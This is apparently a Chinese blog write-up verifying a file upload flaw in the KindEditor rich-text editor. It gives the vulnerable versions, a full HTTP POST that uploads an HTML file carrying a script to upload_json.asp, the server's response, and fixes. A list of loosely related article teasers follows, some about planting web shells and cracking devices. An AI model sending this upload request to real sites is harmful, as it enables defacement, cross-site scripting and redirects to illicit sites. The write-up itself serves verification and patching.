KindEditor 文件上传漏洞验证

article/2025/9/16 15:44:36

KindEditor 文件上传漏洞

    • 漏洞描述
    • 影响范围
    • 漏洞验证
    • 漏洞修复

在这里插入图片描述

漏洞描述

漏洞存在于KindEditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中。

这里html里面可以嵌套暗链接地址以及嵌套xss。Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file,在允许上传的文件扩展名中包含htm,txt:extTable.Add(“file”,“doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2”)

由于KindEditor中upload_json.*上传功能文件允许被直接调用从而实现上传htm,html到文件到服务器,用户可以通过上传存在包含跳转到违规站点的代码从而实现的恶意攻击。

影响范围

Kindeditor版本<4.1.12

漏洞验证

漏洞存在于<=Kindeditor4.1.12编辑器中,所以先查看编辑器版本

1.查看版本信息

http://www.xxx.com/kindeditor//kindeditor.js

在这里插入图片描述
2.漏洞验证
Request数据包

POST /kindeditor/asp/upload_json.asp?dir=file HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------283422705626536477632563104216
Content-Length: 260
Connection: close
Cookie: ASPSESSIONIDQACQQBTT=XXXXXXXXXXXX
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache-----------------------------283422705626536477632563104216
Content-Disposition: form-data; name="imgFile"; filename="1.html"
Content-Type: application/octet-stream<script>alert('1')</script>
-----------------------------283422705626536477632563104216--

Response数据包

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
Set-Cookie: ASPSESSIONIDSQBRRCAB=BNLFKMXXXXXXXXM; path=/
X-Powered-By: ASP.NET
Date: Thu, 09 Sep 2021 07:33:15 GMT
Connection: close
Content-Length: 94{"error":0,"url":"\/kindeditor\/asp\/..\/attached\/file\/20210909\/20210909153396539653.html"}

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

漏洞修复

1.直接删除upload_json.和file_manager_json.
2.升级kindeditor到最新版本

参考链接

https://www.anquanke.com/post/id/171422
https://www.cnblogs.com/backlion/p/10421405.html

http://chatgpt.dhexx.cn/article/a189lm6E.shtml

相关文章

[渗透]kindeditor4.1.5文件上传漏洞

漏洞等级&#xff1a;高危 Kindeditor是一套开源的HTML可视化编辑器&#xff0c;主要用于让用户在网站上获得所见即所得编辑效果&#xff0c;兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。 漏洞描述&#xff1a; Kindeditor能够上传doc,docx,xls,xlsx,ppt,htm,html…

利用KindEditor漏洞上传网马

KindEditor是常用的富文本编辑器&#xff0c;里边有上传的功能&#xff0c;如果上传文件类型控制的不好&#xff0c;可能就会给网站带来安全问题&#xff0c;比如上传了网马&#xff0c;可能对我们的服务器就造成了伤害。 首先通过搜索引擎查到使用kindeditor的位置&#xff0c…

kindeditor php 漏洞,KindEditor漏洞、优化以及漏洞、BUG修复方案汇总

Kindeditor漏洞 编辑代码内容被执行 kindeditor漏洞描述:在kindeditor编辑代码添加到数据库时没有任何问题,也就是一些HTML代码不会被执行,例如:web编程,这样的代码在首次编辑的时候没有被执行。但是,从数据库里取出来再放到kindeditor里进行修改的时候问题就出现了,这行…

kindeditor编辑器文件上传漏洞

kindeditor编辑器版本小于4.1.5存在文件上传漏洞&#xff0c;可利用该漏洞上次网页、文本文件&#xff0c;可网站进行篡改&#xff0c;添加赌博、反共等违法信息。 通过扫描器发现该网站存在编辑器。 通过浏览器访问&#xff0c;确定该编辑器为kindeditor编辑器。 确定该编辑…

关于网站后台KindEditor编辑器存在安全漏洞

[TO一、 漏洞基本情况 Kindeditor上的uploadbutton.html是用于文件上传功能的页面&#xff0c;因其upload_json.*上传功能文件允许被直接调用&#xff0c;从而实现上传htm,html,txt等文件到服务器&#xff0c;攻击者利用此漏洞可直接在上传的htm,html文件中添加跳转到违法网站…

linux重启后etc目录被还原,干货分享丨如何恢复Linux下误删etc目录数据

对于运维工作者来说,可能最让人担心的,是服务器宕机; 最让人无助的,是被DDOS; 而最让人心惊肉跳的,是rm -rf *这个命令…… 当你执行rm -rf命令时,万一哪个变量没赋值 听说过被删空服务器么? mysql数据库不是在运行吗? linux能删除正在执行的文件?反正是彻底删除了……

苹果手机sim卡无效怎么办_苹果手机解锁密码忘了怎么办

现在手机对于我们每一个人来说都是非常重要的&#xff0c;所以会设定屏幕密码以防隐私被他人看到。但是也避免不了忘记屏幕密码的时候&#xff0c;那么苹果手机解锁密码忘了怎么办呢&#xff1f;下面小编给大家介绍下苹果手机密码忘了怎么解锁的各种办法。 苹果手机解锁密码忘了…

navicat还原mysql备份文件时roll back

一、navicat还原mysql备份文件时roll back&#xff0c;导致的原因是因为备份文件过大&#xff0c;需要更改mysql安装目录中的my.ini。 二、到mysql安装目录中找到my.ini文件。 三、右键用记事本打开&#xff0c;先搜索文件中有没有max_allowed_packet。 四、如果没有找到max_a…

parsed mapper file卡住不动解决思路

发现问题就直接搜索了起来&#xff0c;总结下&#xff1a; 1、断点org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory&#xff0c;所有catch方法都打断点 2、检查mapper语法是否正确 3、断点导致&#xff0c;去掉所有断点&#xff0c;控制台上 m…

My SQL—CRUD初阶(增删改查)

这里写目录标题 回顾My SQL基本CRUD(增删改查)操作新增查找全列查找指定列查询指定查询字段为表达式查询字段指定别名去重排序条件查询模糊查询分页查询 修改删除 回顾 类似的&#xff0c;SQL Server 和Oracle也是采取类似的方式来组织数据的&#xff0c;这样的数据库叫做“关系…

balenaEtcher烧录U盘/SD卡恢复方法

今天用balenaEtcher-portable-1.5.115烧录了SD卡&#xff0c; 结果发现自己的笔记本不支持SD卡启动&#xff0c;就想把SD卡恢复了&#xff0c;结果发现win7无法恢复。度娘给的方法太费劲还不保证成功&#xff0c;就谷歌找了一下&#xff0c;很容易就找到了方法&#xff08;原文…

冰点还原精灵使用教程

DeepFreeze是一个系统的保护软件&#xff0c;不论什么原因你的系统出现了故障&#xff0c;它都可以快速的恢复到你原先的状态和设置。它会随时记录你的操作&#xff0c;当前打开的文件&#xff0c;运行着的程序和各项设置。程序安全性能非常高,目前还没有听说有什么办法能够破解…

w ndows10还原点,创建Windows10系统还原点快捷方式方法

通常情况下 Windows 10 会在系统有重大变更(例如进 Windows Update)时自动创建还原点,有些驱动程序(例如 Intel 显卡驱动)在安装时也会自动创建系统还原点,当然我们也可以在任何需要的时候手动创建还原点。本文中,我们所要介绍的是通过快捷方式创建 Windows 10 系统还原点。 检…

Android 游戏破解修改金币

这里是通过AndroidManifest.xml中的allowbackup属性去盗取手机中存储的信息,只要有信息存储在本地都可盗取出来(前提是你能拿到手机) 为什么研究这个技术:1,应用市场上修改游戏金币的软件很多,但是大概都需要root权限,所以就想能不能在不root的情况下修改金币和血量,2预防被盗信…

android 卡片放大变详情页,ConstraintLayout动画实现布局卡片式滑动放大缩放

ConstraintLayout(约束布局)是Android Studio 2.2中主要的新增功能之一,Android studio升级到2.3版本之后,不管是新建Activity或fragment,xml默认布局由RelativeLayout更改为ConstraintLayout了。 按照以往惯例先上效果图: GIF.gif 上图效果所示 根据手势滑动View 改变View…

破解联通HG8347R光猫

原文链接:https://youendless.com/post/unicom_cat 安装的联通宽带,自带的光猫设备型号HG8347R,看光猫后面可以清楚的看见这个设备是华为生产的,联通定制版本,后台管理页面基本只有设备重启这个功能了,其他所有的功能都被屏蔽,无法操作。自带光猫是不支持5G的,并且只有…

记一次MySql还原导致的无法连接

问题 昨天同事使用服务器的MySql数据库还原了一个5GB的备份&#xff0c;结果一直卡住&#xff0c;他就将数据库强行关闭&#xff0c;没再执行任何其他操作。 结果今天客户反馈登录异常。逐步排查&#xff0c;定位到是数据库无法访问。于是远程查看服务器&#xff0c;发现&…

iTerm 2 Oh My Zsh【DIY教程—亲身体验过程】完美替代教程汇总!

一年前&#xff0c;在搞终端的时候偶然一次机会&#xff0c;让我看到了各种强大的DIY界面&#xff0c;这让我很想去自己搞一个。于是在网上不断的寻找资源&#xff0c;也请教了大多数朋友。最终以失败告终。最近&#xff0c;本人又突然想起当时这件事&#xff0c;于是&#xff…

Windows Terminal美化:oh-my-posh配置记录

Windows Terminal美化&#xff1a;oh-my-posh配置记录 前置&#xff1a;安装Windows Terminal powershell&#xff0c;打开终端&#xff0c;默认路径为powershell。 这个流程踩了不少坑&#xff0c;记录在错误示范&#xff0c;正确的配置流程请移步配置流程。 [ 2023-3-13 ] …

存储卡修复软件测试自学,扩容内存卡用mydisktest失效,教你怎么用USBoot恢复出真实容量...

贪便宜在某宝花了14元包邮买了张32G的TF卡&#xff0c;购买之前不断强调如果是扩容卡卖家包邮退货&#xff0c;卖家都狠狠答应了&#xff0c;人家都这样讲了能不买吗&#xff1f;。 卡拿到手后先格式化&#xff0c;看属性还是32G&#xff0c;然后复制一个近8G的DVD镜像文件进去…